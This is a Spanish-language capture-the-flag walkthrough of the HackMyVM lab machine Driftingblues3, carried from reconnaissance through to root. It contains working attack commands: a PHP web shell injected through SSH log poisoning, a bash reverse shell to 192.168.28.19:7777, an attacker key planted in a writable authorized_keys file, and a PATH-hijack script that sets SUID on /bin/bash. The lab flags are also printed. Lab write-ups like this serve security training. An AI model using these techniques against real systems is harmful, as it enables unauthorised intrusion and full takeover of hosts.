Driftingblues3 HackMyVM (Easy- Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-10 11:50 EDT
Nmap scan report for 192.168.28.18
Host is up (0.0011s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
| 256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_ 256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/eventadmins
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:0E:A1:B3 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds
Veremos que hay una pagina web alojada en el puerto 80
que si entramos veremos una pagina normal, por lo que vamos a intentar entrar al robots.txt
a ver que nos encontramos.
URL = http://<IP>/robots.txt
Info:
User-agent: *
Disallow: /eventadmins
Veremos que hay un directorio llamado /eventadmins
que si entramos dentro de el veremos esto otro:
man there's a problem with ssh
john said "it's poisonous!!! stay away!!!"
idk if he's mentally challenged
please find and fix it
also check /littlequeenofspades.html
your buddy, buddyG
Vemos lo que parece ser un archivo HTML
en el que si probamos a entrar a el veremos esto otro:
URL = http://<IP>/littlequeenofspades.html
Info:
Now, she is a little queen of spades, and the men will not let her be
Mmmm, she is the little queen of spades, and the men will not let her be
Everytime she makes a spread, hoo fair brown, cold chill just runs all over me
I'm gon' get me a gamblin' woman, if the last thing that I do
Eee, gon' get me a gamblin' woman, if it's the last thing that I do
Well, a man don't need a woman, ooh fair brown, that he got to give all his money to
Everybody say she got a mojo, now she's been usin' that stuff
Mmmm, mmmm, 'verybody says she got a mojo, 'cause she been usin' that stuff
But she got a way trimmin' down, hoo fair brown, and I mean it's most too tough
Now, little girl, since I am the king, baby, and you is a queen
Ooo eee, since I am the king baby, and you is a queen
Le's us put our heads together, hoo fair brown, then we can make our money green
Si inspeccionamos la pagina veremos esta linea bastante interesante:
<p style="color:white">aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==</p>
Veremos que esta codificado en Base64
que si lo decodificamos veremos esto:
echo "aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==" | base64 -d
Info:
intruder? L2FkbWluc2ZpeGl0LnBocA==
Veremos que hay otro mensaje codificado de nuevo, por lo que lo decodificaremos de la siguiente forma:
echo "L2FkbWluc2ZpeGl0LnBocA==" | base64 -d
Info:
/adminsfixit.php
Vemos lo que parece ser otro archivo en la pagina web, vamos a probar a meternos de esta forma:
URL = http://<IP>/adminsfixit.php
Info:
#######################################################################
ssh auth log
============
i hope some wacky and uncharacteristic thing would not happen
this job is fucking poisonous and im boutta planck length away from quitting this hoe
-abuzer komurcu
#######################################################################
............................<RESTO_DE_LOGS>.......................................
Apr 10 10:57:01 driftingblues CRON[2018]: pam_unix(cron:session): session opened for user root by (uid=0) Apr 10 10:57:01 driftingblues CRON[2018]: pam_unix(cron:session): session closed for user root Apr 10 10:58:01 driftingblues CRON[2023]: pam_unix(cron:session): session opened for user root by (uid=0)
Vemos que nos esta mostrando de forma repetitiva que se esta abriendo una sesion de root
, por lo que vamos a probar a intentar injectar algun comando para ver si se muestra de forma ejecutada.
Vamos a realizar un LOG POISONING
mediante SSH
ya que vemos que se esta realizando una conexion por SSH
y cuando intentamos inciciar sesion por SSH
se muestra el nombre de usuario, por lo que vamos a intentar injectar comandos mediante el nombre de usuario:
echo "<?php system(\$_GET['cmd']);?>" | nc <IP_VICTIM> 22
Info:
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
Protocol mismatch.
Ahora echo esto tendremos que enviar la siguiente peticion para que se cargue dicho comando pero con el parametro enviado:
URL = http://<IP>/adminsfixit.php?cmd=ls
Info:

Veremos que ha funcionado, por lo que vamos a probar a enviarnos una reverse shell
de la siguiente forma:
Volvamos a enviar este comando:
echo "<?php system(\$_GET['cmd']);?>" | nc <IP_VICTIM> 22
Y enviamos este payload
de esta forma codificada en URL
:
URL = http://<IP>/adminsfixit.php?cmd=bash+%20-c%20+"+bash+%20-i+%20>%26+%20/dev/tcp/192.168.28.19/7777+%200>%261+"
Pero antes de enviar eso por la URL
nos pondremos a la escucha para obtener la shell
:
nc -lvnp <PORT>
Y si enviamos el payload
, volveremos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.28.19] from (UNKNOWN) [192.168.28.18] 53660
bash: cannot set terminal process group (512): Inappropriate ioctl for device
bash: no job control in this shell
www-data@driftingblues:/var/www/html$ whoami
whoami
www-data
Veremos que ha funcionado, por lo que tendremos que sanitizar la shell
:
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user robertj
Si vamos a la /home
y listamos en cuales podremos entrar veremos lo siguiente:
total 16
drwxr-xr-x 4 root root 4096 Jan 4 2021 .
drwxr-xr-x 18 root root 4096 Dec 17 2020 ..
drwx------ 2 root root 4096 Jan 4 2021 lost+found
drwxr-xr-x 3 robertj robertj 4096 Jan 7 2021 robertj
Vemos que podemos entrar en la carpeta de la /home
del usuario robertj
y si listamos dentro veremos lo siguiente:
total 16
drwxr-xr-x 3 robertj robertj 4096 Jan 7 2021 .
drwxr-xr-x 4 root root 4096 Jan 4 2021 ..
drwx---rwx 2 robertj robertj 4096 Jan 4 2021 .ssh
-r-x------ 1 robertj robertj 33 Jan 7 2021 user.txt
Vemos que tambien podemos entrar en el .ssh
de dicho usuario, por lo que podremos aprovechar esto para meter nuestra clave PEM
de nuestro host
y poder conectarnos por SSH
sin necesidad de ingresar la contraseña de dicho usuario, pudiendo autenticarnos como el, por lo que haremos lo siguiente:
MAQUINA HOST
ssh-keygen -t rsa -b 2048
Info:
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
SHA256:QIVmdgs/c+NKnUDfqu7uGo57U/PdZf+6YdIKi6HAAH8 root@kali
The key's randomart image is:
+---[RSA 2048]----+
| .o. |
| .* o |
|. +.= o . |
| o .* + . |
| o E SB + |
| + + = . o|
| o .o.=....+o.|
| +oooo.o.+...|
| oo+B* . . ooo|
+----[SHA256]-----+
Ahora que hemos generado esto en la carpeta .ssh/
vamos a copiarnos el contenido de la clave publica y pasarnosla un archivo que tendremos que llamar como authorized_keys
, para que asi nos podamos conectar desde nuestro host
:
cat ~/.ssh/id_rsa.pub
Info:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7doSokNUW+9cQb5VIjousG+87SAqyEcP2mUuWZfLN0qARO/nCOa2rywRS9gl716wpUfS+K2mTL7QZ3CI6R6j/SW6QgazeTNtOy1jGRVQc+XQHncQBNTF7gCSkUT+jTiPLUrvdmi/oj2e7u5vkTNq4UQGLxzFpzYvhqMh6nY03vjPyzTGNN2u5QRik624TDIlS5+XWLInSw9Vo3PgxNfsn2qxWsU1ZGUsfEDIeWVy2s0K7pDHwn/DZyA41dzo4Hfx995YHZ45K30YjW7kdmgVddPhsl5kJksFuFzJ+OaubI+IWhNkiqnfB6MTFksBuBJRnzVGD9QjzigD33Mip2IY3 root@kali
Ahora en la maquina victima le pegaremos dicho contenido dentro de la carpeta .ssh/
de la carpeta robertj
:
nano /home/robertj/.ssh/authorized_keys
#Dentro del nano
<ID_RSA.pub>
Echo esto desde nuestro host
vamos a conectarnos con dicho usuario con nuestra clave PEM
desde el host
.
ssh -i ~/.ssh/id_rsa robertj@<IP>
Info:
Linux driftingblues 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
robertj@driftingblues:~$ whoami
robertj
Con esto veremos que ha funcionado, por lo que leeremos la flag
del usuario.
user.txt
413fc08db21285b1f8abea99040b0280
Escalate Privileges
Si hacemos el id
veremos esto:
uid=1000(robertj) gid=1000(robertj) groups=1000(robertj),1001(operators)
Veremos que pertenecemos al grupo operators
, pero si listamos los permisos SUID
que tenemos veremos esto:
find / -type f -perm -4000 -ls 2>/dev/null
Info:
25269 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
21909 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
16365 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
81 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
31095 20 -r-sr-s--- 1 root operators 16704 Jan 4 2021 /usr/bin/getinfo
4028 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
76 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
4030 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
3547 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
3694 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
79 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
77 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
Veremos esta linea interesante, que casualmente pertenecemos a dicho grupo:
31095 20 -r-sr-s--- 1 root operators 16704 Jan 4 2021 /usr/bin/getinfo
Vamos a ver que pasa si lo ejecutamos:
/usr/bin/getinfo
Info:
###################
ip address
###################
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link/ether 08:00:27:0e:a1:b3 brd ff:ff:ff:ff:ff:ff
inet 192.168.28.18/24 brd 192.168.28.255 scope global dynamic enp0s3
valid_lft 367sec preferred_lft 367sec
inet6 fe80::a00:27ff:fe0e:a1b3/64 scope link
valid_lft forever preferred_lft forever
###################
hosts
###################
127.0.0.1 localhost
127.0.1.1 driftingblues
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
###################
os info
###################
Linux driftingblues 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux
Vemos que se estan ejecutando varios comandos y nos muestra la salida, pero vamos a ver si utiliza rutas absolutas
dentro del binario.
cat /usr/bin/getinfo
Info:
.............................<CODIGO_COMPILADO>...................................
ip address
###################
^@ip a^@^@^@^@^@^@^@^@###################
hosts
###################
^@cat /etc/hosts^@^@^@###################
os info
###################
uname -a
.............................<CODIGO_COMPILADO>...................................
Vemos que mas o menos estamos viendo los comandos que esta utilizando, y no esta utilizando rutas absolutas
por lo que podremos realizar la tecnica llamada PATH hijacking/binary hijacking
con el binario ip
en este caso.
Vamos a crear un script que ponga permisos SUID
a la bash
de la siguiente forma:
nano /tmp/ip
#Dentro del nano
#!/bin/bash
chmod u+s /bin/bash
echo "Permisos establecidos de forma correcta!"
Lo guardamos y ahora vamos a modificar el PATH
para que cuando lo ejecutemos es ejecute como root
el script llamado ip
por lo que tendremos que poner que primero vaya a la ruta /tmp
para que funcione:
chmod +x /tmp/ip
export PATH=/tmp:$PATH
Ahora si vemos el PATH
:
echo $PATH
Info:
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Veremos que ha funcionado, por lo que vamos a ejecutar de nuevo el binario
:
/usr/bin/getinfo
Info:
###################
ip address
###################
Permisos establecidos de forma correcta!
###################
hosts
###################
..........................<RESTO_CODIGO>.........................................
Ahora vamos a comprobar que esta bien ejecutado:
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1168776 Apr 17 2019 /bin/bash
Vemos que funciono, por lo que vamos a ejecutar esto otro para obtener el usuario root
:
bash -p
Info:
bash-5.0# whoami
root
Con esto veremos que somos root
por lo que leeremos la flag
del usuario root
.
root.txt
dfb7f604a22928afba370d819b35ec83
Last updated